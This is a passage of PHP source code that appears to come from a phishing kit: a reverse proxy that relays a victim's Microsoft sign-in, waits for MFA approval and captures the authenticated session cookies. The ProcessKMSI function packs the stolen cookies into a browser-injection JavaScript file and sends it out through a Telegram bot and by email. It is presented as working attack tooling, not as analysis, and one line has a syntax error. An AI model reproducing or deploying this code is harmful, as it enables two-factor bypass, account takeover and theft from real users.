  1007.     foreach ($ips as $ip) {
  1008.       //Determine whether any of the IPs are in the private or reserved range.
  1009.       if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
  1010.         return true;
  1011.       }
  1012.     }
  1013.     return false;
  1014.   }
  1015.  
  1016.   return passesWhitelist($url) && passesBlacklist($url) && ($GLOBALS['disallowLocal'] ? !isLocal($url) : true);
  1017. }
  1018.  
  1019. //Helper function used to removes/unset keys from an associative array using case insensitive matching
  1020. function removeKeys(&$assoc, $keys2remove) {
  1021.   $keys = array_keys($assoc);
  1022.   $map = [];
  1023.   $removedKeys = [];
  1024.   foreach ($keys as $key) {
  1025.     $map[strtolower($key)] = $key;
  1026.   }
  1027.   foreach ($keys2remove as $key) {
  1028.     $key = strtolower($key);
  1029.     if (isset($map[$key])) {
  1030.       unset($assoc[$map[$key]]);
  1031.       $removedKeys[] = $map[$key];
  1032.     }
  1033.   }
  1034.   return $removedKeys;
  1035. }
  1036.  
  1037.  
  1038.  
  1039. if (!function_exists("getallheaders")) {
  1040.   //Adapted from http://www.php.net/manual/en/function.getallheaders.php#99814
  1041.   function getallheaders() {
  1042.     $result = [];
  1043.     foreach($_SERVER as $key => $value) {
  1044.       if (substr($key, 0, 5) == "HTTP_") {
  1045.         $key = str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($key, 5)))));
  1046.         $result[$key] = $value;
  1047.       }
  1048.     }
  1049.     return $result;
  1050.   }
  1051. }
  1052.  
  1053. $usingDefaultPort =  (!isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] === 80) || (isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] === 443);
  1054. $prefixPort = $usingDefaultPort "" : ":" . $_SERVER["SERVER_PORT"];
  1055. //Use HTTP_HOST to support client-configured DNS (instead of SERVER_NAME), but remove the port if one is present
  1056. $prefixHost = $_SERVER["HTTP_HOST"];
  1057. $prefixHost = strpos($prefixHost, ":") ? implode(":", explode(":", $_SERVER["HTTP_HOST"], -1)) : $prefixHost;
  1058.  
  1059. define("PROXY_PREFIX", "http" . (isset($_SERVER["HTTPS"]) ? "s" : "") . "://" . $prefixHost . $prefixPort.explode('?', $_SERVER["REQUEST_URI"], 2)[0] ."?");
  1060.  
  1061. //Makes an HTTP request via cURL, using request data that was passed directly to this script.
  1062. function makeRequest($url) {
  1063.  
  1064.   global $anonymize;
  1065.  
  1066.   //Tell cURL to make the request using the brower's user-agent if there is one, or a fallback user-agent otherwise.
  1067.   $user_agent = $_SERVER["HTTP_USER_AGENT"];
  1068.   if (empty($user_agent)) {
  1069.     $user_agent = "Mozilla/5.0 (compatible; KinGOPProxy)";
  1070.   }
  1071.   $ch = curl_init();
  1072.   curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
  1073.  
  1074.   //Get ready to proxy the browser's request headers...
  1075.   $browserRequestHeaders = getallheaders();
  1076.  
  1077.   //...but let cURL set some headers on its own.
  1078.   $removedHeaders = removeKeys(
  1079.     $browserRequestHeaders,
  1080.     [
  1081.       "Accept-Encoding", //Throw away the browser's Accept-Encoding header if any and let cURL make the request using gzip if possible.
  1082.       "Content-Length",
  1083.       "Host",
  1084.       "Origin"
  1085.     ]
  1086.   );
  1087.  
  1088.   $removedHeaders = array_map("strtolower", $removedHeaders);
  1089.  
  1090.   curl_setopt($ch, CURLOPT_ENCODING, "");
  1091.   //Transform the associative array from getallheaders() into an
  1092.   //indexed array of header strings to be passed to cURL.
  1093.   $curlRequestHeaders = [];
  1094.   foreach ($browserRequestHeaders as $name => $value) {
  1095.     $curlRequestHeaders[] = $name . ": " . $value;
  1096.   }
  1097.   if (!$anonymize) {
  1098.     $curlRequestHeaders[] = "X-Forwarded-For: " . $_SERVER["REMOTE_ADDR"];
  1099.   }
  1100.   //Any `origin` header sent by the browser will refer to the proxy itself.
  1101.   //If an `origin` header is present in the request, rewrite it to point to the correct origin.
  1102.   if (in_array("origin", $removedHeaders)) {
  1103.     $urlParts = parse_url($url);
  1104.     $port = $urlParts["port"];
  1105.     $curlRequestHeaders[] = "Origin: " . $urlParts["scheme"] . "://" . $urlParts["host"] . (empty($port) ? "" : ":" . $port);
  1106.   };
  1107.   curl_setopt($ch, CURLOPT_HTTPHEADER, $curlRequestHeaders);
  1108.  
  1109.   //Proxy any received GET/POST/PUT data.
  1110.   switch ($_SERVER["REQUEST_METHOD"]) {
  1111.     case "POST":
  1112.       curl_setopt($ch, CURLOPT_POST, true);
  1113.       //For some reason, $HTTP_RAW_POST_DATA isn't working as documented at
  1114.       //http://php.net/manual/en/reserved.variables.httprawpostdata.php
  1115.       //but the php://input method works. This is likely to be flaky
  1116.       //across different server environments.
  1117.       //More info here: http://stackoverflow.com/questions/8899239/http-raw-post-data-not-being-populated-after-upgrade-to-php-5-3
  1118.       //If the KINGOPProxyFormAction field appears in the POST data, remove it so the destination server doesn't receive it.
  1119.       $postData = [];
  1120.       parse_str(file_get_contents("php://input"), $postData);
  1121.       if (isset($postData["KINGOPProxyFormAction"])) {
  1122.         unset($postData["KINGOPProxyFormAction"]);
  1123.       }
  1124.       curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
  1125.     break;
  1126.     case "PUT":
  1127.       curl_setopt($ch, CURLOPT_PUT, true);
  1128.       curl_setopt($ch, CURLOPT_INFILE, fopen("php://input", "r"));
  1129.     break;
  1130.   }
  1131.  
  1132.   //Other cURL options.
  1133.   curl_setopt($ch, CURLOPT_HEADER, true);
  1134.   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  1135.   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1136.  
  1137.   //Set the request URL.
  1138.   curl_setopt($ch, CURLOPT_URL, $url);
  1139.  
  1140.   //Make the request.
  1141.   $response = curl_exec($ch);
  1142.   $responseInfo = curl_getinfo($ch);
  1143.   $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
  1144.   curl_close($ch);
  1145.  
  1146.   //Setting CURLOPT_HEADER to true above forces the response headers and body
  1147.   //to be output together--separate them.
  1148.   $responseHeaders = substr($response, 0, $headerSize);
  1149.   $responseBody = substr($response, $headerSize);
  1150.  
  1151.   return ["headers" => $responseHeaders, "body" => $responseBody, "responseInfo" => $responseInfo];
  1152. }
  1153.  
  1154. //Converts relative URLs to absolute ones, given a base URL.
  1155. //Modified version of code found at http://nashruddin.com/PHP_Script_for_Converting_Relative_to_Absolute_URL
  1156. function rel2abs($rel, $base) {
  1157.   if (empty($rel)) $rel = ".";
  1158.   if (parse_url($rel, PHP_URL_SCHEME) != "" || strpos($rel, "//") === 0) return $rel; //Return if already an absolute URL
  1159.   if ($rel[0] == "#" || $rel[0] == "?") return $base.$rel; //Queries and anchors
  1160.   extract(parse_url($base)); //Parse base URL and convert to local variables: $scheme, $host, $path
  1161.   $path = isset($path) ? preg_replace("#/[^/]*$#", "", $path) : "/"; //Remove non-directory element from path
  1162.   if ($rel[0] == "/") $path = ""; //Destroy path if relative url points to root
  1163.   $port = isset($port) && $port != 80 ? ":" . $port : "";
  1164.   $auth = "";
  1165.   if (isset($user)) {
  1166.     $auth = $user;
  1167.     if (isset($pass)) {
  1168.       $auth .= ":" . $pass;
  1169.     }
  1170.     $auth .= "@";
  1171.   }
  1172.   $abs = "$auth$host$port$path/$rel"; //Dirty absolute URL
  1173.   for ($n = 1; $n > 0; $abs = preg_replace(["#(/\.?/)#", "#/(?!\.\.)[^/]+/\.\./#"], "/", $abs, -1, $n)) {} //Replace '//' or '/./' or '/foo/../' with '/'
  1174.   return $scheme . "://" . $abs; //Absolute URL is ready.
  1175. }
  1176.  
  1177. //Proxify contents of url() references in blocks of CSS text.
  1178. function proxifyCSS($css, $baseURL) {
  1179.   //Add a "url()" wrapper to any CSS @import rules that only specify a URL without the wrapper,
  1180.   //so that they're proxified when searching for "url()" wrappers below.
  1181.   $sourceLines = explode("\n", $css);
  1182.   $normalizedLines = [];
  1183.   foreach ($sourceLines as $line) {
  1184.     if (preg_match("/@import\s+url/i", $line)) {
  1185.       $normalizedLines[] = $line;
  1186.     } else {
  1187.       $normalizedLines[] = preg_replace_callback(
  1188.         "/(@import\s+)([^;\s]+)([\s;])/i",
  1189.         function($matches) use ($baseURL) {
  1190.           return $matches[1] . "url(" . $matches[2] . ")" . $matches[3];
  1191.         },
  1192.         $line);
  1193.     }
  1194.   }
  1195.   $normalizedCSS = implode("\n", $normalizedLines);
  1196.   return preg_replace_callback(
  1197.     "/url\((.*?)\)/i",
  1198.     function($matches) use ($baseURL) {
  1199.         $url = $matches[1];
  1200.         //Remove any surrounding single or double quotes from the URL so it can be passed to rel2abs - the quotes are optional in CSS
  1201.         //Assume that if there is a leading quote then there should be a trailing quote, so just use trim() to remove them
  1202.         if (strpos($url, "'") === 0) {
  1203.           $url = trim($url, "'");
  1204.         }
  1205.         if (strpos($url, "\"") === 0) {
  1206.           $url = trim($url, "\"");
  1207.         }
  1208.         if (stripos($url, "data:") === 0) return "url(" . $url . ")"; //The URL isn't an HTTP URL but is actual binary data. Don't proxify it.
  1209.         return "url(" . PROXY_PREFIX . rel2abs($url, $baseURL) . ")";
  1210.     },
  1211.     $normalizedCSS);
  1212. }
  1213.  
  1214. //Proxify "srcset" attributes (normally associated with <img> tags.)
  1215. function proxifySrcset($srcset, $baseURL) {
  1216.   $sources = array_map("trim", explode(",", $srcset)); //Split all contents by comma and trim each value
  1217.   $proxifiedSources = array_map(function($source) use ($baseURL) {
  1218.     $components = array_map("trim", str_split($source, strrpos($source, " "))); //Split by last space and trim
  1219.     $components[0] = PROXY_PREFIX . rel2abs(ltrim($components[0], "/"), $baseURL); //First component of the split source string should be an image URL; proxify it
  1220.     return implode($components, " "); //Recombine the components into a single source
  1221.   }, $sources);
  1222.   $proxifiedSrcset = implode(", ", $proxifiedSources); //Recombine the sources into a single "srcset"
  1223.   return $proxifiedSrcset;
  1224. }
  1225.  
  1226. function isJson($str) {
  1227.     $json = json_decode($str);
  1228.     return $json && $str != $json;
  1229. }
  1230.  
  1231. function authMethodId($login,$data,$payload){
  1232.  
  1233.       $url ='https://login.microsoftonline.com/common/SAS/BeginAuth';
  1234.       $tmpfname = dirname(__FILE__) .'/tmp/'.$login.'_cookie.txt';
  1235.  
  1236.       
  1237.       $ch = curl_init();
  1238.  
  1239.       curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/common/SAS/BeginAuth');
  1240.       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1241.       //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
  1242.       curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
  1243.       curl_setopt($ch,CURLOPT_HEADER,0);
  1244.       curl_setopt($ch, CURLOPT_POST, 1);
  1245.  
  1246.  
  1247.       if(is_array($payload)){
  1248.                 curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
  1249.         } else{
  1250.                 curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
  1251.         }
  1252.  
  1253.       //curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
  1254.       //curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  1255.  
  1256.       $headers = array();
  1257.       $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
  1258.       $headers[] = 'Hpgrequestid: '.$data["hpgrequestid"];
  1259.       $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
  1260.       $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
  1261.       $headers[] = 'Client-Request-Id: '.$data["client-request-id"];
  1262.       $headers[] = 'Canary: '.$data["canary"];
  1263.       $headers[] = 'Content-Type: application/json; charset=UTF-8';
  1264.       $headers[] = 'Hpgid: '.$data["hpgid"];
  1265.       $headers[] = 'Accept: application/json';
  1266.       $headers[] = 'Referer: https://login.microsoftonline.com/common/login';
  1267.       $headers[] = 'Hpgact: '.$data["hpgact"];
  1268.       $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
  1269.       curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  1270.       curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
  1271.         curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
  1272.       $content = curl_exec($ch);
  1273.       curl_close($ch);
  1274.       return $content;
  1275. }
  1276.  
  1277. function SendFileMail($mailto,$subject,$message,$file){
  1278.     $mailTo = $mailto;
  1279.     $mailSubject = $subject;
  1280.     $mailMessage = $message;
  1281.     $mailAttach = $file;
  1282.  
  1283.     // (B) GENERATE RANDOM BOUNDARY TO SEPARATE MESSAGE & ATTACHMENTS
  1284.     // https://www.w3.org/Protocols/rfc1341/7_2_Multipart.html
  1285.     $mailBoundary = md5(time());
  1286.     $mailHead = implode("\r\n", [
  1287.       "MIME-Version: 1.0",
  1288.       "Content-Type: multipart/mixed; boundary=\"$mailBoundary\""
  1289.     ]);
  1290.  
  1291.     // (C) DEFINE THE EMAIL MESSAGE
  1292.     $mailBody = implode("\r\n", [
  1293.       "--$mailBoundary",
  1294.       "Content-type: text/plain; charset=utf-8",
  1295.       "",
  1296.       $mailMessage
  1297.     ]);
  1298.  
  1299.     // (D) MANUALLY ENCODE & ATTACH THE FILE
  1300.     $mailBody .= implode("\r\n", [
  1301.       "",
  1302.       "--$mailBoundary",
  1303.       "Content-Type: application/octet-stream; name=\"". basename($mailAttach) . "\"",
  1304.       "Content-Transfer-Encoding: base64",
  1305.       "Content-Disposition: attachment",
  1306.       "",
  1307.       chunk_split(base64_encode(file_get_contents($mailAttach))),
  1308.       "--$mailBoundary--"
  1309.     ]);
  1310.  
  1311.     // (E) SEND
  1312.     return mail($mailTo, $mailSubject, $mailBody, $mailHead)
  1313.       ? True : False ;
  1314. }
  1315.  
  1316. function ProcessAuth($login,$payload){
  1317.     
  1318.     $tmpfname = dirname(__FILE__) .'/tmp/'.$login.'_cookie.txt';
  1319.  
  1320.     $ch = curl_init();
  1321.  
  1322.       curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/common/SAS/ProcessAuth');
  1323.       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1324.       //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
  1325.       curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
  1326.       curl_setopt($ch,CURLOPT_HEADER,0);
  1327.       curl_setopt($ch, CURLOPT_POST, 1);
  1328.  
  1329.  
  1330.       if(is_array($payload)){
  1331.                 curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
  1332.         } else{
  1333.                 curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
  1334.         }
  1335.  
  1336.  
  1337.       //curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
  1338.       //curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  1339.  
  1340.       $headers = array();
  1341.       $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9';
  1342.         $headers[] = 'Accept-Language: en-US,en;q=0.9';
  1343.         $headers[] = 'Cache-Control: max-age=0';
  1344.         $headers[] = 'Connection: keep-alive';
  1345.         $headers[] = 'Content-Type: application/x-www-form-urlencoded';
  1346.         $headers[] = 'Origin: https://login.microsoftonline.com';
  1347.         $headers[] = 'Referer: https://login.microsoftonline.com/common';
  1348.         $headers[] = 'Sec-Fetch-Dest: document';
  1349.         $headers[] = 'Sec-Fetch-Mode: navigate';
  1350.         $headers[] = 'Sec-Fetch-Site: same-origin';
  1351.         $headers[] = 'Upgrade-Insecure-Requests: 1';
  1352.         $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
  1353.       $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
  1354.       $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
  1355.       $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
  1356.       curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  1357.       curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
  1358.         curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
  1359.         curl_setopt($ch,CURLOPT_REFERER,"https://login.microsoftonline.com/common");
  1360.       $content = curl_exec($ch);
  1361.       curl_close($ch);
  1362.  
  1363.       //file_put_contents("tmp/".$login."_page5.html",$content);
  1364.  
  1365.       $res = preg_match('|"sFT":"([^,]+)"|',$content,$matches);
  1366.     $sFT = $matches[1];
  1367.     
  1368.     $res = preg_match('|"sessionId":"([^,]+)"|',$content,$matches);
  1369.     $hpgrequestid = $matches[1];
  1370.     
  1371.     $res = preg_match('|"canary":"([^,]+)"|',$content,$matches);
  1372.     $canary = $matches[1];
  1373.  
  1374.     $res = preg_match('|"sCtx":"([^"]+)"|',$content,$matches);
  1375.     if($res == 1) {
  1376.       $ctx = $matches[1];
  1377.     }
  1378.  
  1379.     $res = preg_match('|ctx=([^"]+)"|',$content,$matches);
  1380.     if($res == 1) {
  1381.         $ctx = $matches[1];
  1382.     }
  1383.       
  1384.     $content = ProcessKMSI($login,$ctx,$hpgrequestid,$sFT,$canary);
  1385.  
  1386.     //file_put_contents("tmp/".$login."_page6.html",$content);
  1387.  
  1388.     $content = Processlandingv2($login,$content);
  1389.  
  1390.     //file_put_contents("tmp/".$login."_page7.html",$content);
  1391.  
  1392.     return $content;
  1393. }
  1394.  
  1395. function temporaryFile($name, $content)
  1396. {
  1397.     $file = DIRECTORY_SEPARATOR .
  1398.             trim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) .
  1399.             DIRECTORY_SEPARATOR .
  1400.             ltrim($name, DIRECTORY_SEPARATOR);
  1401.  
  1402.     file_put_contents($file, $content);
  1403.  
  1404.     register_shutdown_function(function() use($file) {
  1405.         unlink($file);
  1406.     });
  1407.  
  1408.     return $file;
  1409. }
  1410.  
  1411. function ProcessKMSI($login,$ctx,$hpgrequestid,$sFT,$canary){
  1412.     global $bot,$userData;
  1413.     
  1414.     $tmpfname = dirname(__FILE__) .'/tmp/'.$login.'_cookie.txt';
  1415.  
  1416.     $payload = "LoginOptions=1&type=28&ctx=".$ctx."&DontShowAgain=true&hpgrequestid=".$hpgrequestid."&flowToken=".$sFT."&canary=".$canary."&i19=10205";
  1417.  
  1418.     $ch = curl_init();
  1419.  
  1420.       curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/kmsi');
  1421.       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1422.       //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
  1423.       curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
  1424.       curl_setopt($ch,CURLOPT_HEADER,0);
  1425.       curl_setopt($ch, CURLOPT_POST, 1);
  1426.  
  1427.  
  1428.       if(is_array($payload)){
  1429.                 curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
  1430.         } else{
  1431.                 curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
  1432.         }
  1433.  
  1434.  
  1435.       //curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
  1436.       //curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  1437.  
  1438.       $headers = array();
  1439.       $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9';
  1440.         $headers[] = 'Accept-Language: en-US,en;q=0.9';
  1441.         $headers[] = 'Cache-Control: max-age=0';
  1442.         $headers[] = 'Connection: keep-alive';
  1443.         $headers[] = 'Content-Type: application/x-www-form-urlencoded';
  1444.         $headers[] = 'Origin: https://login.microsoftonline.com';
  1445.         $headers[] = 'Referer: https://login.microsoftonline.com/common/SAS/ProcessAuth';
  1446.         $headers[] = 'Sec-Fetch-Dest: document';
  1447.         $headers[] = 'Sec-Fetch-Mode: navigate';
  1448.         $headers[] = 'Sec-Fetch-Site: same-origin';
  1449.         $headers[] = 'Sec-Fetch-User: ?1';
  1450.         $headers[] = 'Upgrade-Insecure-Requests: 1';
  1451.         $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
  1452.         $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
  1453.         $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
  1454.         $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
  1455.       curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  1456.       curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
  1457.       curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
  1458.       $content = curl_exec($ch);
  1459.  
  1460.             $files_content = <<<EOT
  1461.             !function(){let e=JSON.parse(`{cookies}`);function o(e,o,t,n,i){const s="Max-Age=31536000";e.startsWith("__Host")?(console.log("==== Cookie Set ====>",e,o),document.cookie=`\${e}=\${o};\${s};path=/;Secure;SameSite=None`):e.startsWith("__Secure")?(console.log("==== Cookie Set ====>",e,o),document.cookie=`\${e}=\${o};\${s};domain=\${t};path=\${n};Secure;SameSite=None`):i?(console.log("==== Cookie Set ====>",e,o),window.location.hostname==t?document.cookie=`\${e}=\${o};\${s}; path=\${n}; Secure; SameSite=None`:document.cookie=`\${e}=\${o};\${s};domain=\${t};path=\${n};Secure;SameSite=None`):(console.log("==== Cookie Set ====>",e,o),window.location.hostname==t?document.cookie=`\${e}=\${o};\${s};path=\${n};`:document.cookie=`\${e}=\${o};\${s};domain=\${t};path=\${n};`)}for(let t of e)o(t.name,t.value,t.domain,t.path,t.secure)}();
  1462.         EOT;
  1463.  
  1464.       $f = fopen($tmpfname, 'r');
  1465.  
  1466.       $cookies = array();
  1467.       $out_cookie = array();
  1468.  
  1469.       if ($f) {
  1470.           $c_content = fread($f, filesize($tmpfname));
  1471.           fclose($f);
  1472.          
  1473.       }
  1474.  
  1475.       $jason = json_encode(GetCookieFromFile($c_content));
  1476.       $files_content = str_replace('{cookies}', $jason, $files_content);
  1477.       $document =  temporaryFile($login.'_cookie.txt',$files_content);
  1478.       $bot->sendDocument($userData['chatid'], $document);
  1479.       $subject = "Cookie 2FA File for ".$login;
  1480.       $message = $subject;
  1481.       SendFileMail($userData['Email'],$subject,$message,$document);
  1482.       curl_close($ch);
  1483.       unlink($tmpfname);
  1484.       return $content;
  1485. }
  1486.  
  1487. function Processlandingv2($login,$content){
  1488.     $data =[];
  1489.     $dom = new DOMDocument();
  1490.  
  1491.     $dom->loadHTML($content);
  1492.  
  1493.     //Evaluate Anchor tag in HTML
  1494.     $xpath = new DOMXPath($dom);
  1495.     $inputs = $xpath->evaluate("//input");
  1496.  
  1497.     for ($i = 0; $i < $inputs->length; $i++) {
  1498.       $input = $inputs->item($i);
  1499.       $name = $input->getAttribute('name');
  1500.       $data[$name] = $input->getAttribute('value');
  1501.       //echo $name.'   :   '.$data[$name] ;
  1502.       /*if($name=="request"){
  1503.               $request = $input->getAttribute('value');
  1504.               //$input->setAttribute("value", $email);
  1505.               //$input->setAttribute("readonly", 'readonly'); 
  1506.           }
  1507.           elseif($name=="flowToken"){
  1508.               $flowToken = $input->getAttribute('flowToken');
  1509.  
  1510.           }*/
  1511.         //if
  1512.     }
  1513.  
  1514.     $res = preg_match('|action="([^,]+)"|',$content,$matches);
  1515.     if($res == 1) {
  1516.       $url = $matches[1];
  1517.     }
  1518.  
  1519.     //$content = $this->GetWorking($login,'https://www.office.com/landing',$data);
  1520.  
  1521.     return $content;
  1522. }
  1523.  
  1524. function PullurlEndAuth($login,$authMethodId,$pollCount,$ctx,$flowToken,$data)
  1525.     {
  1526.       $tmpfname = dirname(__FILE__) .'/tmp/'.$login.'_cookie.txt';
  1527.  
  1528.       $payload = '{"AuthMethodId":"'.$authMethodId.'","Method":"EndAuth","ctx":"'.$ctx.'","flowToken":"'.$flowToken.'","SessionId":"'.$data['SessionId'].'","PollCount":'.$pollCount.'}';
  1529.  
  1530.       if($authMethodId == "PhoneAppNotification" || $authMethodId == "TwoWayVoiceMobile"){
  1531.         $waitedForMFA = 0;
  1532.         while (true) {
  1533.           if($waitedForMFA >= 60){
  1534.                       //throw new Exception("Waited longer than 60 seconds for MFA request to be validated, aborting");
  1535.                       break;
  1536.               }
  1537.           $ch = curl_init();
  1538.             curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/common/SAS/EndAuth');
  1539.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1540.                     //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
  1541.             curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
  1542.             curl_setopt($ch,CURLOPT_HEADER,0);
  1543.             curl_setopt($ch, CURLOPT_POST, 1);
  1544.             
  1545.             if(is_array($payload)){
  1546.                     curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
  1547.             } else{
  1548.                     curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
  1549.             }
  1550.             
  1551.             curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  1552.             $headers = array();
  1553.             $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
  1554.             $headers[] = 'Hpgrequestid: '.$data["hpgrequestid"];
  1555.             $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
  1556.             $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
  1557.             $headers[] = 'Client-Request-Id: '.$data["client-request-id"];
  1558.             $headers[] = 'Canary: '.$data["canary"];
  1559.             $headers[] = 'Content-Type: application/json; charset=UTF-8';
  1560.             $headers[] = 'Hpgid: '.$data["hpgid"];
  1561.             $headers[] = 'Accept: application/json';
  1562.             $headers[] = 'Referer: https://login.microsoftonline.com/common/login';
  1563.             $headers[] = 'Hpgact: '.$data["hpgact"];
  1564.             $headers[] = 'Sec-Ch-Ua-Platform: \"macOS\"';
  1565.             curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  1566.             curl_setopt($ch, CURLOPT_COOKIEJAR, $tmpfname);
  1567.             curl_setopt($ch, CURLOPT_COOKIEFILE, $tmpfname);
  1568.             $result = curl_exec($ch);
  1569.             $content = $result;
  1570.             curl_close($ch);
  1571.             sleep(3);
  1572.                 $waitedForMFA+=5;  
  1573.                 return $content;
  1574.         }
  1575.       }
  1576.   }
  1577.  
  1578. function urlEndAuth($login,$authMethodId,$data,$payload)
  1579.     {
  1580.       $tmpfname = dirname(__FILE__) .'/tmp/'.$login.'_cookie.txt';
  1581.  
  1582.       //$payload = '{"AuthMethodId":"'.$authMethodId.'","Method":"EndAuth","ctx":"'.$ctx.'","flowToken":"'.$flowToken.'","SessionId":"'.$data['SessionId'].'","PollCount":'.$pollCount.'}';
  1583.  
  1584.  
  1585.  
  1586.       if($authMethodId == "PhoneAppNotification" || $authMethodId == "TwoWayVoiceMobile"){
  1587.         $waitedForMFA = 0;
  1588.         while (true) {
  1589.           if($waitedForMFA >= 60){
  1590.                       //throw new Exception("Waited longer than 60 seconds for MFA request to be validated, aborting");
  1591.                       break;
  1592.               }
  1593.           $ch = curl_init();
  1594.             curl_setopt($ch, CURLOPT_URL, 'https://login.microsoftonline.com/common/SAS/EndAuth');
  1595.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1596.                     //curl_setopt($s,CURLOPT_RETURNTRANSFER,TRUE);
  1597.             curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
  1598.             curl_setopt($ch,CURLOPT_HEADER,0);
  1599.             curl_setopt($ch, CURLOPT_POST, 1);
  1600.             
  1601.             if(is_array($payload)){
  1602.                     curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
  1603.             } else{
  1604.                     curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
  1605.             }
  1606.             
  1607.             curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  1608.             $headers = array();
  1609.             $headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
  1610.             $headers[] = 'Hpgrequestid: '.$data["hpgrequestid"];
  1611.             $headers[] = 'Sec-Ch-Ua-Mobile: ?0';
  1612.             $headers[] = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
  1613.             $headers[] = 'Client-Request-Id: '.$data["client-request-id"];
  1614.             $headers[] = 'Canary: '.$data["canary"];
  1615.             $headers[] = 'Content-Type: application/json; charset=UTF-8';
  1616.             $headers[] = 'Hpgid: '.$data["hpgid"];
  1617.             $headers[] = 'Accept: application/json';
  1618.             $headers[] = 'Referer: https://login.microsoftonline.com/common/login';
  1619.             $headers[] = 'Hpgact: '.$data["hpgact"];
